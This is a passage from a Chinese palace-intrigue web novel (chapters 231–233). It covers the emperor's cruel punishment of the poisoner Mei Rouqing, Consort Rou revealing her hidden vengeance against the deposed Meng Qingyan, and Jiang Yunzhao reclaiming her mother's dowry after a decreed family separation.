然而,梅氏眼中那一闪而过的算计,以及指尖无法抑制的颤抖,却全然落入了高踞御座的皇帝眼中。
皇帝心中已有决断。
梅氏此前常伴在孟氏身边,颇受信重,足见其城府与手腕。
说不定,给柔妃下毒这等昏招,就是这妇人在背后出的歹毒主意!
就算顾影回报,孟氏的孩子真没有保住,那又如何?
焉知不是因为孟氏乍闻家族覆灭、自身被废的噩耗,急怒攻心之下导致的流产?
这并不能证明梅氏就是清白的,更不能洗脱她事后偷偷来漪兰殿观望的嫌疑!
此等恶妇,挑唆宫闱,戕害皇嗣,罪大恶极!
方才竟还敢当堂写下姜云昭的名字,意图构陷朝廷有功之臣、未来的秦王妃,真是其心可诛!
这毒妇的命,绝不能留!
梅柔卿一生周旋于后宅,自以为深谙人心算计,却从未真正在御前行走,更不了解帝王的心性。
历代能坐稳龙椅之人,绝不会轻易被表面的证据指向所迷惑,他们往往只相信自己愿意相信的,只看到自己需要看到的。
在皇帝心中,柔妃小产、皇嗣夭折的悲痛与愤怒,需要一个足够分量的泄愤对象和“交代”。
而身份微妙、行事诡秘、又恰好出现在两处“案发现场”的梅柔卿,无疑是最合适的人选。
不多时,顾影去而复返,如同没有感情的影子,单膝跪地,声音平板无波地回禀:
“启禀陛下,披香殿孟庶人,裙上确有少许血渍,但太医院钱太医已赶到诊视。
钱太医言,孟庶人乃因骤闻巨变,惊惧过度,胎气略有动荡,经施针用药后,胎象已暂时稳住,腹中龙嗣……暂无大碍。”
暂无大碍?!
这四个字如同惊雷,再次狠狠劈在梅柔卿的天灵盖上!
她猛地抬起头,双眼凸出,写满了极致的震惊与难以置信:“唔——!!!”
怎么可能!她走之前,明明亲眼看见孟清妍裙上洇开那么大一片血!
孩子怎么可能没事?
这不可能!一定是御医诊错了!
或是……有人做了手脚?!
柔妃一头扑在皇帝怀中,声音凄楚哀婉,令人心碎:“陛下……嫔妾的孩儿虽没了……但好在孟姐姐的孩儿还在!
上天保佑……还请陛下速速为孟姐姐多派御医,务必保住她腹中的孩子啊!
嫔妾已经失去了自己的孩子,不能再看着孟姐姐也承受这般痛苦了……”
饶是铁石心肠、疑心深重如萧衍,此刻看着怀中哭得梨花带雨的柔妃,心中也不禁泛起一丝动容。
他宽厚的手掌抚过柔妃苍白冰凉的脸颊,声音沙哑,带着罕见的温柔:“爱妃……你就是太善良了。
听朕的话,接下来的事,你不必再管,也不必再想。
好好休息,将养好身子……朕,定会再给你一个孩子,一个健健康康的皇子!”
“陛下……”柔妃泣不成声,将脸深深埋入皇帝怀中,肩膀微微耸动。
而皇帝,也在这柔情安抚爱妃的瞬间侧过了脸,目光掠过地上呆若木鸡的梅柔卿,眼底深处,只剩
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下帝王的冷酷与裁决。
就在众人注意力被帝妃温情吸引的刹那——
梅柔卿只觉手中陡然一空!
一直站在她侧后方的侍卫,竟以迅雷不及掩耳之势,猛地夺过了她手中紧握的毛笔和那张字迹越写越多、也越写越乱的纸!
那侍卫高举纸笔,朝着皇帝方向,声音洪亮而愤慨:“陛下!此恶妇见阴谋败露,罪行昭彰,竟意图用这笔杆自戕喉间,畏罪自尽!”
梅柔卿:“???”
她根本没有!她只是被那个消息震得一时失神!
“唔唔!唔唔唔——!”
可没人再需要听她解释些什么。
她坑蒙拐骗,害人无数,却是人生头一遭尝到了明明没做恶、却被人污蔑构陷、百口莫辩的滋味!
她死死盯着被侍卫攥在掌中、墨迹模糊成一团的纸,满脸不甘!
明明她已将今日的来龙去脉都写在纸上了!却被那侍卫当场毁了证据!
引她来此的侍卫,给她喂药的小宫女,甚至还有那个躺在床上满脸柔弱的柔妃!他们所有人都是串通好的!
他们所有人都是姜云昭的帮凶!
可梅柔卿直到死的那一刻都没想明白,柔妃她不是皇帝的宠妃吗?
怎会为了帮姜云昭报复自己,连肚子里的龙胎都舍了?
她是不是脑子有问题?!
然而此刻的梅柔卿已经没有时间、也没有机会去细想这些了。
皇帝抬起眼,目光冰冷地掠过那侍卫手中的“罪证”,又看了一眼瘫软在地、满脸绝望茫然的梅柔卿,毫无波澜地命令:“把她拖到院中去。”
“是!”
侍卫们应声,如同拖拽死狗般,将浑身瘫软的梅柔卿粗暴地拖出了的内殿,丢在殿前庭院青石地上。
柔妃被宫女小心搀扶着躺回榻上,放下帷幔。
皇帝带着邹太医、常海等人,来到院中。
“邹太医,”皇帝负手而立,目光落在蜷缩在地上、瑟瑟发抖的梅柔卿身上,语气平静得可怕,“你方才说,她中的这‘枯肠散’,毒素侵入肠腑之后,会如何?”
邹太医躬身道:“回陛下,此毒会缓慢而持续地腐蚀肠道内壁。
初期剧烈腹痛、便血;随后肠壁穿孔,形成瘘道。
届时,饮食入腹,无法消化吸收,会混合着脓血,从谷道不受控制地漏出。
患者将日夜被腹痛、污秽、恶臭与极度虚弱折磨,但因心脉受损较慢,不会立即致命。
往往会在这种……生不如死的状态下,煎熬相当长一段时日,最终多因极度虚弱而亡。”
皇帝静静地听着,脸上没有任何表情。
良久,他缓缓开口,声音不大,却字字如冰刃,斩钉截铁:
“既然此毒如此‘有趣’,能让人细细品味生之痛苦……今日,朕便成全了你!”
他目光转向面如死灰的梅柔卿,如同在看一件没有生命的器物:
“将梅氏,送回姜府。
传朕口谕给姜世安:此妇戕害皇嗣,罪大恶极,本当凌迟处死,株连亲族。
然朕念其女侍奉东宫,格外开恩,免其死罪。
命姜世安好生‘照看’,务必确保她一日两餐,汤药不断,好端端的,再活上一年。”
他顿了顿,补充道:“再派两名内侍,入住姜府,每日记录梅氏饮食、病情、言行。
一年之后,朕要看到详细的记录。
若她提前**,或是‘照看’不周……姜世安,便去陪她!”
“邹文清,”皇帝的目光转向脸色发白的邹太医,“梅氏后续的‘诊治’,便交由你负责。朕要她,活足一年。明白吗?”
邹太医浑身一颤,连忙深深躬下身去,声音带着不易察觉的颤抖:“微臣领旨。定当……竭尽全力。”
如果他是梅氏……此刻定然宁可一头撞死,求个痛快!
可陛下偏偏要她生不如死地活着!
而他邹文清,从今日起,也要多出一桩让人头皮发麻的活计了。
而躺在地上的梅氏,对上帝王那双浸着寒霜的双眸,平生第一次生出无尽的悔意!
她错了!她从一开始就错得彻底!
倘若当年姜世安将还是婴孩的姜云昭送走时,她已在姜府就好了!
那样的话,她定会一把将孩子夺过来,活生生摔死!也好过今日落得如此凄惨的结局!
姜云昭,我就是做鬼也不会放过你!
第231章 来灭口的
皇帝走回内殿,在柔妃的床榻边缓缓坐下。
榻上的柔妃面色苍白如纸,已然昏沉睡去,长睫上还挂着一滴将落未落的泪珠。
一旁侍立的大宫女压低了声音禀报:“娘娘方才服下一碗安神汤后,总算勉强睡下了。”
皇帝伸出手,指尖极轻地拂去柔妃眼角的那滴泪,动作是他自己都未曾察觉的温柔。
他俯下身,凑近柔妃耳畔,低声道:
“爱妃,你安心睡吧。今日之痛,朕记下了。待孟氏生下那个孩子……
朕会让她,亲自去下面,给咱们的孩儿磕头赔罪。”
柔妃的呼吸依然平静,只是眉眼间蕴着一抹挥之不去的轻愁。
皇帝静静注视了她片刻,方才直起身,步履沉稳地离开了漪兰殿。
*
两炷香前,披香殿。
侍卫们把守着宫殿各处出入口,隔绝内外。
宫女太监们有的低声啜泣,有的眼神闪烁,他们彼此议论着,却极少有人愿意去关注孟清妍的动向。
昔日煊赫的贵妃宫殿,此刻弥漫着树倒猢狲散的凄凉与人人自危的冷漠。
一个穿着低等宫女服饰的身影,悄无声息地挪动到孟清妍身边。
她借着俯身为孟清妍擦拭额头冷汗的动作,指尖如电般一弹!
一颗龙眼大小、色泽乌黑的药丸,精准无误地滑入了孟清妍因剧痛而微张的嘴唇之间。
那宫女动作不停,另一只手迅速在孟清妍喉间极有技巧地一按——
“咕噜。”
药丸顺着食管滑落下去,悄无声息。
做完这一切,小宫女低着头迅速退开,重新隐入旁边那群惊慌失措的低等宫人之中。
若有太医在此,定能一眼认出,那枚被紧急喂下的乌黑药丸,正是皇家药局秘制的固元保胎丹!
片刻后,奉命前来为孟庶人诊视的御医匆匆赶到。
为首的,正是太医院另一位资历颇深的钱太医。
他见到殿内情形,快步上前,一边指挥着宫女将孟清妍抬到内殿床榻上,一边迅速为其诊脉。
钱太医凝神细诊良久,这才提笔写下一张药方,递给身旁的药童:
“孟庶人此乃骤逢巨变,惊惧过度,悲怒交加,以致气血逆乱,冲犯胎元。
所幸发现及时。速按此方煎药送来,要快!”
孟清妍躺在榻上,腹中绞痛虽未全消,却渐渐感觉好了不少。
方才意识模糊间,她隐约感觉有人给她喂了一粒不知是什么药丸,现在看来,那药丸应当是救她的!
她忽而想到:救她之人,是太子吗?
当然是太子!
除了太子,这深宫之中,还有谁会和她一样,如此在意她腹中孩儿?
她强撑着最后一丝清明与气力,猛地伸手,死死拽住了钱太医的袖袍:“本宫、本宫要见陛下,现在就要见……”
钱太医脚步一顿,但他什么也没说,只是抽回了衣袖,头也不回地快步走出了内殿,将她的哀求隔绝在了身后。
宫闱倾轧,圣心难测,他一个太医,能做的也只是尽力保住皇嗣,至于其他,岂敢置喙?
迷迷糊糊间,孟清妍感觉自己被人半扶起来,一碗气味浓苦的汤药凑到了唇边。
求生的本能让她顺从地张嘴,将药汁咽下。
不一会儿,药力开始发挥作用,腹中的坠痛感又减轻了几分。
她趁机紧紧握住那只端药碗的手,挣扎着睁开沉重的眼皮:“锦屏……锦屏呢?她在何处?叫她来……伺候本宫……”
视线里,是一个面容陌生、神情却异常平静的小宫女。
小宫女素喜轻轻抽回手,用温热的湿巾擦拭孟清妍嘴角的药渍,一边答道:
“锦屏姑姑因侍奉不力,未能及时察觉庶人身体不适,已被总管公公下令,发配往浣衣局做苦役了。您往后……怕是见不着她了。”
事实上,孟庶人被贬和险些小产之事,陛下并未责罚孟氏宫中上下。在素喜看来,去浣衣局虽然辛苦了些,倒是比跟在孟氏身边安稳得多。
什么?锦屏被发配去了浣衣局!
孟清妍心头一凉。
连锦屏都……皇帝,果然是要斩断她所有的臂膀,将她彻底打入尘埃吗?
药力混合着巨大的打击,让孟清妍的意识再次陷入昏沉。
不知过了多久,她再次挣扎着醒来时,发现自己已然身处一个全然陌生的环境。
房间空旷,陈设简陋,空气中弥漫着一股陈年的霉味与劣质炭火的气息。
“这是……何处?”她嘶哑着问,挣扎着想从硬邦邦的床板上坐起。
一只算不上温柔却很有力的手按住了她的肩膀,将她重新压回床上。
还是那个面生的小宫女,此刻正站在床边,脸上没什么表情,语气公事公办:“这里是永巷的静思苑。陛下有旨,您需在此静心养胎,无诏不得出。
为了龙嗣安危,您还是好生躺着吧,莫要随意起身走动。”
小宫女顿了顿,继续道:“您日后的一应饮食、汤药、起居,皆由奴婢负责。想吃点什么,喝点什么,或是需要如厕,尽管吩咐。奴婢会好好照顾您的。”
孟清妍心头涌起巨大的**与愤怒,她是贵妃!
即便被废,也曾是这后宫最尊贵的女人之一!
如今竟要被一个低贱的宫女如此管制,如同囚犯,如同……豢养在圈里只为生育的母畜!
可她张了张嘴,却发现自己连发怒的力气都没有。
腹中虽然不再剧痛,却依旧传来阵阵虚弱。
她只能不甘地闭上眼睛,任由那宫女再次扶起她,将又一碗味道不同的汤药灌入她口中。
苦涩的药汁滑过喉咙,带来一阵轻微的恶心。
意识再次模糊、沉沦……
她感觉自己仿佛只昏睡了一小会儿,便又被人弄醒,又被灌下一碗药。
周而复始。
他们根本不在乎她是否好受。
所有的照顾,所谓的静养,都只有为了确保她肚子里那块肉能平安降生!
这个认知,如同兜头冷水,浇熄了孟清妍心中最后一点对皇帝的幻想与情分,点燃了滔天的恨意与不甘。
萧衍!你好狠的心!
从前她看不懂帝王凉薄,今日终于亲身体会,刻骨铭心!
不!她不能就这样认命!她一定要活下去!一定要保住这个孩子!
这是她如今唯一的筹码,是她将来可能翻身、可能报复的唯一希望!
夜色如同浓稠的墨汁,彻底吞噬了破败的永巷静思苑。
“吱呀——”
一声轻微到几乎被风声掩盖的开门声响起。
躺在硬板床上的孟清妍猛地睁开了眼睛。
房间里一片黑暗,只有窗外惨淡的月光勉强透入一丝微光。
本应寸步不离“照顾”她的小宫女素喜,此刻竟不在房内。
一道纤细的身影
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,悄无声息地滑入房中,反手轻轻掩上了房门。
来人穿着一身最低等小太监的灰蓝色服饰,微低着头。
孟清妍在黑暗中努力辨认,心头警铃大作。
来人是谁?是皇帝派来的?还是……来灭口的?
那人缓缓抬起脸。
借着窗外透入的微弱月光,一张苍白而柔美的脸庞映入孟清妍的眼帘——
竟是柔妃!
孟清妍先是一愣,随即脸上浮现出浓烈的讥诮与恨意。
她挣扎着半坐起来,靠在冰冷的墙壁上,声音嘶哑却充满恶意:“本宫当是谁呢。原来是你!
怎么,本宫已然落魄至此,被打入这不见天日的冷宫了,你还不放心?
非要亲自过来看上一眼,看看本宫是如何凄惨可怜,才能让你睡得更安稳些?”
她说着,一只手下意识地抚上已能感受到微微隆起的小腹,语气带着挑衅:
“可惜啊,要让你失望了。陛下他虽然废了本宫的位份,可到底……还是爱重我们母子。
本宫吃的用的,照样精细,还有这日日不断的安胎药……一样都没短了本宫。
本宫没有如你所愿,在这冷宫里凄惨可怜、一尸两命,你心里是不是很气?很恨?”
说到最后,孟清妍的声音陡然转厉,眼中迸发出困兽般的凶光:“你深夜私自擅闯禁地,信不信本宫现在就喊人!
只要本宫喊一声,立刻就会有人冲进来,将你这擅闯冷宫、意图不轨的**拿下,扭送到陛下面前!
到时候,看陛下还会不会再信你这一天到晚矫揉造作的小**!”
面对孟清妍色厉内荏的威胁,柔妃却只是静静地站在那里,脸上缓缓漾开了一抹极淡的笑意。
那笑容在昏暗的光线下,显得格外诡异。
“喊人?”柔妃的声音很轻,很柔,却带着一种令人毛骨悚然的平静,
“你大可以试试。”
孟清妍心头一紧。
柔妃向前缓缓踏出一步,月光恰好照在她半边脸上,那双总是盛满温柔水光的眸子,此刻却幽深如古井,不见丝毫波澜:
“你叫吧。放开喉咙叫。看看这永巷静思苑,还有谁会听见?又有谁敢来救你!”
孟清妍脸上的血色一点点褪去。
她看着柔妃那张平静到近乎诡异的脸,一股寒意不受控制地从脊背窜起。
她强撑着气势,声音却不由自主地带上了一丝颤抖:“你……你到底想做什么?”
柔妃没有立刻回答,她又向前走了几步,直到站到孟清妍的床榻边,距离近得能彼此看清对方眼中的每一丝情绪。
然后,她微微俯身,吐出了一个孟清妍早已已经遗忘在岁月尘埃里的名字:
“褚羽柔。
孟庶人。这个名字……你大概,早就忘得一干二净了吧?”
褚……羽柔?
这个名字如同一道闪电,狠狠劈开了孟清妍记忆深处某个尘封的角落!
她浑身猛地一抖,难以置信地瞪大眼睛,死死盯着近在咫尺的柔妃的脸:
“你是褚家人?你是褚羽柔那个**的……妹妹?!”
不!不对!
当年褚家满门抄斩,诛三族!
褚羽柔只有一个年幼的弟弟,根本没有妹妹!
所有可能跟她有血缘关系的女眷,都应该死绝了才对!
“你到底是谁?!”孟清妍的声音尖厉起来,带着无法掩饰的恐慌。
第232章 连同你肚子里孽种,千刀万剐
柔妃直起身,居高临下地看着床上因震惊和恐惧而止不住发抖的孟清妍。
那双总是温柔似水的眸子里,翻涌着刻骨的仇恨:
“十年前,你因嫉妒褚羽柔得宠,构陷她与侍卫私通,秽乱宫廷。
所谓的证据确凿,不都是你孟大小姐,还有你那位好兄长孟峥,一手炮制出来的吗?
事后,你仍不放心。生怕褚家反击,又命人将伪造的‘通敌密信’,偷偷放进时任兵部侍郎的褚大人书房。”
柔妃的声音越来越冷,仿佛带着来自地狱的寒风:
“陛下震怒,下旨——
诛褚家三族!!!
孟清妍,你知道‘诛三族’是什么滋味儿吗?
父族、母族、妻族……凡血脉相连者,上至耄耋老者,下至襁褓婴孩,一千四百余口!
刑场上的血,流了三天三夜都冲刷不干净!惨叫和哭嚎,十里外都能听见!”
她逼近一步,目光如同淬毒的**,剜着孟清妍的眼睛:
“这份滋味儿,今日……你们孟家,也算是亲口尝到了!感觉如何啊孟大小姐?”
孟清妍被这番血淋淋的指控骇得魂飞魄散,她拼命摇头,眼神涣散:
“不……不可能……褚家的人都死光了!你、你到底是褚家哪一支的余孽?哪一房的孤女?”
三族之内,牵连数千人,她当年只想着斩草除根,哪里会记得褚家每一个旁支远亲的名字和面孔?
柔妃看着她茫然又惊恐的样子,忽而低低地笑了起来,那笑声里充满了无尽的悲凉与恨意:
“余孽?孤女?
是啊,在你们这些高高在上的贵人眼里,我们这些旁支远亲,不过是蝼蚁,是随时可以碾死的杂草。”
她顿了顿,声音里带上了一丝遥远的回忆:
“我确实不是褚羽柔的亲妹妹。我只是她母亲娘家一个八竿子打不着的远房表妹。
因自幼体弱多病,被家人送到城外的清微观寄养,只为求个平安长大。连族谱都未必上得全名。”
“可那又怎样?”柔妃的眼神陡然变得锐利如刀,
“‘诛三族’的旨意下来,可不管你是否亲近,是否知情,是否只是个寄养在道观、连京城都没进过几次的病弱稚子!只要在‘三族’的名册里……就得死!”
是清微观的师太,冒死将她藏在地窖,谎称她已病死好几年了,才躲过了那场搜捕。
“我的爹娘,我的兄长,我所有的亲人……全都**。一夜之间,我成了真正的‘孤女’。”
她笑看着孟清妍:“从那天起,我就‘病逝’了。
活下来的,是一个心中埋着血海深仇、不惜一切也要爬上来,向你们孟家复仇的鬼。”
孟清妍心中翻江倒海。
皇帝当年一句“诛三族”,便让无数像柔妃这样的女子家破人亡!
而今日,同样的命运,也降临在了孟家头上!
这难道就是那些贱民口中的“因果昭彰,报应不爽”吗?!
孟清妍眼中忽然爆发出癫狂的得意,“哈哈哈!好!好一个卧薪尝胆!
可那又怎样?你如今把真相告诉本宫,就不怕本宫去告诉陛下吗?
陛下若知道他的宠妃,竟是当年逆臣之后,怀揣着复仇之心潜入宫中,你猜……陛下会如何对你?”
柔妃闻言,脸上非但没有惧色,反而露出了一个更加诡异的笑容。
她微微歪头,看着孟清妍,如同在看一个垂死还不自知的蠢货:
“去啊。你尽管去告诉陛下。”
她往前倾身,用只有两人能听见的气音,缓缓说道:
“只是别忘了……你肚子里怀着的,到底是谁的种。
这个秘密若是捅出去,你觉得,陛下是会先处置我这个逆臣之后,还是会先把你,连同你肚子里这个孽种,千刀万剐,以正视听?”
“!!!”孟清妍如遭五雷轰顶,只觉浑身的血液仿佛都在这一刻冻结了!
她怎会知道?
这个秘密,除了她和太子,绝无第三人知晓!
“你……你怎么会……”孟清妍声音干涩。
柔妃没有回答。
“你若想早点死,就尽管去告诉陛下。”临走前,柔妃笑得凄厉,“我是个已死的人,不怕陪着你再死一回。”
冷宫之内,又只剩下孟清妍一个人。
她双眼空洞地望着黑漆漆的屋顶,口中反复念叨着:
“她怎么会知道……她到底是谁……她怎么会知道……她到底是谁……”
*
东宫。
太子萧鉴脸色阴沉如水,大步踏入殿内。
今日朝堂之上风云突变,孟家轰然倒塌,父皇对他态度明显冷淡,这一切都让他心烦意乱,胸口仿佛压着一块巨石。
然而,当他的目光触及殿中那道窈窕身影时,阴郁的脸色不由稍稍缓和了几分。
只见姜绾心一身藕荷色云缎宫装,云鬓高绾,薄施粉黛,正亭亭玉立地候在那里。
彻底了结血咒的滋味就是爽快!她连容颜都未见憔悴,除了身子还有点虚弱,姜绾心感觉一切都好极了!
“殿下,您回来了。”姜绾心盈盈下拜,声音娇柔,“听闻今日朝堂事繁,殿下定然劳神。
妾身特意为您炖了一盅老山参灵芝鹤鹑汤,里面还加了几味温补的药材,是妾身特意问过太医的。”
接着,她又从另一个剔红漆盘里拈起一颗剥好了皮的冰镇葡萄,递到太子唇边,眼波流转:
“殿下尝尝这葡萄,甜得很。”
美人温言软语,殷勤服侍,总算驱散了些许太子心头的阴霾。
他张口含住那颗葡萄,冰凉清甜的汁液在口中化开,目光却不自觉地落在姜绾心依旧平坦的小腹上。
太子伸手,轻轻揽住姜绾心的腰肢,将她带近自己,另一只手抚上她的小腹,语气是难得的温和:
“你如今身子最要紧,这些琐事交给下人便是。定要好生将养,平安顺利地为孤生下这个孩儿。”
他微微低头,用鼻尖轻轻蹭了蹭姜绾心的脸颊,声音压低,带着一种混合着情欲与野心的暗哑:
“只要你这一胎是个健康的男丁。孤便立刻去向父皇请旨,擢升你为太子妃!”
姜绾心依偎在太子怀中,听到此节,心头却猛地
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一跳!
若是以前,听到这话她定然欣喜若狂。
可如今……那孩子早就化成了一滩血水,哪里还有什么“男丁”?
她原本计划着,寻个合适的时机,在太子面前演一场“意外小产”的戏,最好还能把这“意外”巧妙地栽赃到姜云昭头上。
这也是她和母亲私下商量好的。
可眼下,太子明显对这个孩子寄予厚望,这让她如何敢立刻“小产”?
到时岂不是自断前程,还要承受太子的失望与怒火?
现在,让她上哪儿去给太子变个活生生的孩子出来?!
姜绾心心中瞬间乱成一团麻,脸上却不敢显露分毫,只能强笑着,将脸埋进太子胸膛,含糊地应道:
“妾身……省得了。定不会让殿下失望。”
就在这时,殿外一名心腹内侍匆匆而入,见到殿内情形,脚步微顿,目光快速扫过姜绾心。
太子松开姜绾心,面上恢复了几分威严:“何事?”
那内侍快步上前,附在太子耳边,用极低的声音,急促地说了几句什么。
太子的脸色,随着内侍的禀报,从阴郁转为惊疑,又迅速化为难以抑制的狂喜!
他猛地转头,看向一旁的姜绾心,眼中光芒大盛,忽然朗声大笑起来!
太子一把将姜绾心重新搂入怀中,力道之大,几乎让她喘不过气。
“哈哈哈!好!好!孤就知道!心儿你真是孤的小福星!是孤的贤内助!”
姜绾心被这突如其来的变故弄得莫名其妙,只能被动地靠在太子怀里,心脏却因不祥的预感而狂跳。
太子在她耳边,用兴奋到有些变调的声音,压低说道:
“方才收到密报……漪兰殿那位,小产了!”
姜绾心浑身一震!柔妃小产了?!
太子继续道:“这件事……是你授意你母亲去做的,对不对?做得漂亮!干净利落!真是帮了孤一个大忙!”
他用力拍了拍姜绾心的后背,仿佛在嘉奖一件立了大功的宝贝:
“你放心,这份功劳,孤记在心里了!待你生下麟儿,太子妃之位,非你莫属!”
姜绾心听着太子笃定的话语,感受着他毫不掩饰的喜悦,整个人却如坠冰窟,四肢冰凉。
柔妃小产了?还是母亲做的?
这怎么可能?!
母亲今日分明是要算计孟贵妃腹中胎儿,怎会跟漪兰殿的柔妃扯上关系?
一个可怕的念头窜入她的脑海——
难道是母亲行事有误,下错了毒?
孟清妍腹中胎儿无事,反倒是柔妃肚子里的龙种做了替死鬼?
想到母亲直到这个时辰还未回来,姜绾心依偎在太子怀中,脸上勉强维持着僵硬的笑容,心中却是一片惊涛骇浪。
就在太子走后不久,侍女翠芯匆匆赶来:“奉仪,咱们府上的小厮福安刚来叩门!
说是姨娘被宫里的人抬回来了!刚进门就流了不少血,老夫人嚷嚷着要打死姨娘!姨娘却不知做了什么,累得老爷也吐了血!
哎呀总之咱们府上现在乱作一团!福安说,老爷让他递话,请您快些回去!”
第233章 分家析产
“你说什么?我娘……我娘她怎会流血?是哪里流血?伤得重不重?”姜绾心一叠声地追问。
回想起太子方才那番意味深长的话,姜绾心脸色煞白如纸,一把攥紧了贴身侍女翠芯的手臂,指甲几乎要嵌进对方的皮肉里。
翠芯被她抓得生疼,却不敢挣脱,只是慌乱地摇头:“奉仪,奴婢……奴婢真的不知道详情啊!
福安他跑得急,只说梅姨娘被宫里的人送回来了,情形很不好,身上有血,别的……别的也说不清楚啊!
奉仪,咱们还是快些回府上一趟吧!回去就知道了!”
姜绾心咬住舌尖,强迫自己冷静下来,眼底闪过一丝狠厉。
不管怎样,必须先回府!
她松开翠芯,快步走出太子寝殿,对着廊下两名值的东宫侍卫厉声命令:“你们两个,立刻随我回一趟姜府!”
那两名侍卫显然是新调来不久,对东宫内眷并不十分清楚。
方才见太子颇为宠爱姜绾心,不敢怠慢,连忙躬身应道:“是!”
*
马车尚未在姜府大门前停稳,姜绾心等不及车夫摆好踏脚凳,一把掀开车帘,提着裙摆,几乎是跌撞着跳下了车!
小腹传来的隐痛让她脸色更差,然而眼前的景象却让她瞬间呆立当场,满腔的焦急化作惊愕与愤怒!
只见姜府那两扇曾经象征着尚书府威严的朱漆大门敞开着,门庭不复往日的森严寂静,反而有些嘈杂
一箱接一箱、打包得整整齐齐的箱笼,正被穿着玄察司服饰的侍卫从府内抬出,装上停靠在府门外的几辆宽敞的青篷马车。
而走在最后,手里捧着一个浮雕莲花纹妆奁匣子的丫鬟,赫然正是姜云昭的贴身侍女莺时!
那妆奁匣子!姜绾心一眼就认了出来——
那是祖母姜老夫人的心爱之物!
据说里面装着老夫人压箱底的一些体己首饰和贵重物件,平日里连她都不能轻易触碰!
好啊!姜云昭!你真是好大的胆子!居然唆使手下公然闯府,抢夺祖母的私产?!
“你站住——!”
姜绾心快步冲上前,拦在了莺时和那些搬运箱笼的侍卫面前,一双美目死死瞪着莺时手中的妆奁匣子。
她猛地回头,对那两名跟随而来的东宫侍卫厉声命令:
“给我把她拿下!还有这些箱笼,统统扣下!光天化日,朗朗乾坤,竟敢公然行窃,还有没有王法了!”
那两名侍卫对视一眼,虽觉此事似乎有些蹊跷,但奉仪有令,便不再犹豫,快步上前就要动手拿人。
“谁敢动我玄察司的人?”
一道清冷平静的女声,自莺时身后传来。
众人循声望去,只见姜云昭一袭月白长裙,缓步从府内走了出来。
她神色淡然,目光平静地扫过那两名面露迟疑的东宫侍卫,随即落在了气得浑身发抖的姜绾心脸上。
四目相对,一个怒火滔天,一个沉静如渊。
姜绾心见到正主,更是新仇旧恨一齐涌上心头,她伸手指着莺时手中的妆奁匣子,扬声道:
“姜云昭!别以为你当了个什么玄察司主,得了陛下几分青眼,就可以无法无天,四处耍威风!
你竟敢唆使婢女,偷盗祖母的私产!
今日人赃并获,证据确凿!我现在就让人抓你去京兆府,看你如何狡辩!”
她越说越觉得有理,语气也带上了几分得意与狠厉:
“别以为京兆府尹赵大人与你相熟,就可以官官相护,徇私枉法!
你偷窃府上财物,众目睽睽之下,我看你如何抵赖!”
姜绾心刻意拔高了声音,既是说给姜云昭听,也是说给周围渐渐被动静吸引、驻足观望的百姓听。
她的话音刚落,姜府大门内又是一阵骚动。
几个仆役推着一张木制轮椅,慌慌张张地冲了出来。
轮椅上坐着的,正是半边身子僵硬、口中不断含糊嘶嚷着什么的姜老夫人!
姜绾心见到祖母这副惨状,脸上闪过一抹心虚。
但随即,她眼珠一转,转过身对着越聚越多的围观百姓,泫然欲泣道:
“诸位街坊邻居,大家都来评评理啊!这就是当朝四品女官,玄察司姜司主的真面目!
她趁着我祖母中风瘫痪、口不能言,竟伙同手下婢女,强闯府邸,公然偷走我祖母积攒了一辈子的体己妆奁!
我自幼在祖母身边长大,深知这妆奁匣子里,是祖母省吃俭用、一点点攒下的金银首饰、田产地契,是她老人家晚年的倚靠和念想!
姜云昭,你如今已是陛下面前的红人,玄察司主,赏赐无数!
你怎么忍心对一位风烛残年的老人家,行此强盗之事?”
云昭连眉头都没动一下。她甚至勾了勾唇角,露出一丝近乎嘲讽的笑意。
她故意放慢了语调,一字一句道:“我——当然忍心。”
人群瞬间一静。
姜云昭迎着姜绾心错愕的目光,每一个字都掷地有声:
“因为这些东西,本就是我母亲苏氏的嫁妆。我今日,不过是取回本就属于我母亲的东西。”
“苏夫人的嫁妆?”
人群顿时哗然!
围观的百姓中,有人高声议论起来:
“哎呀今儿个晌午,是有宫里的公公来姜府宣旨来着!说什么……姜司主跟姜家分家了!往后啊,姜司主就不姓姜了,自立门户了!”
“分家?!一个女子,还能跟娘家分家?”
“怎么不能?陛下都命人宣旨了!往后啊,咱们得改口叫云司主喽!”
“听说之前苏夫人跟姜世安和离的时候,明明白白分走了一半嫁妆的!剩下这一半,说是特意留给女儿做倚仗的!如今云司主都要跟姜家断绝关系了,带走自己娘亲留下的嫁妆,那不是天经地义吗?”
“姜家这也太贪心了!占了人家苏夫人的嫁妆这么多年,如今正主女儿来拿回去,还倒打一耙说人家偷窃?呸!真不要脸!”
百姓们你一言我一语,议论得热火朝天。
他们或许不懂高门深宅里的弯弯绕绕,但对于“嫁妆归属”
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、“分家析产”这类贴近生活的事情,却自有其朴素而犀利的判断。
姜绾心被这七嘴八舌的议论灌了满耳。
她听得云里雾里,又惊又怒,但总算从中捕捉到了最关键的信息!
她猛地转头,难以置信地看向姜云昭,声音尖厉:“姜云昭,你想和姜家分家?!”
“姜二小姐,你耳朵没聋,不用我再多废话了吧?”云昭淡淡回应,同时将一直握在左手的一卷明黄色绢帛,稍稍举高了些许,
“今日,我不是想要分家,而是已然分家。”
阳光下,那绢帛上清晰的龙纹和玉轴,赫然正是圣旨!
姜绾心如遭雷击,不由自主地**了一步。
怎么可能……陛下怎么会允准一个女子与家族断亲分家?还允许她带走苏氏的嫁妆?
娘亲呢?父亲呢?她和姜云昭在门口闹了这么久,府里怎么一个主事的人都没出来?连下人都似乎少了许多!
之前福安说母亲流血……难道真的出了大事?
姜绾心心中越发慌乱,再也顾不上跟姜云昭纠缠,拾阶而上就要冲进府内查看究竟。
就在她要迈过门槛时,姜老夫人猛地伸出左手,死死攥住了她的裙摆!
“祖……祖母?”
姜绾心猝不及防,被迫停下脚步。
她低头看着轮椅上神情激动、正“唔唔啊啊”试图说什么的姜老夫人,不由脱口道:“祖母,您先放开我!我得赶紧进去瞧瞧爹爹和我娘怎么样了!
家里出了这么大事,总得有个主心骨啊!总不能真让姜云昭把咱们家的东西……把您的体己都抢光了啊!”
姜老夫人闻言,老眼里滚下两行浑浊的泪水!
她用力抓着姜绾心的裙摆,喉咙里发出更加急促的“嗬嗬”声,另一只还能轻微活动的手,拼命拍打着轮椅的扶手。
看看!还是她的心儿最懂事!最知道心疼她这个祖母!
一回来就想着为她撑腰,为她讨回公道!
她过去这些年,真是没白疼这个丫头!那个小蹄子果然是在挑拨离间!
姜老夫人激动地拍着扶手,含糊地吐出几个破碎的音节:“祖吾恩唔唔……触!”(祖母跟你……一起去)
一道冰冷的少年音就在这时响了起来:“二姐姐,祖母喊你呢。”
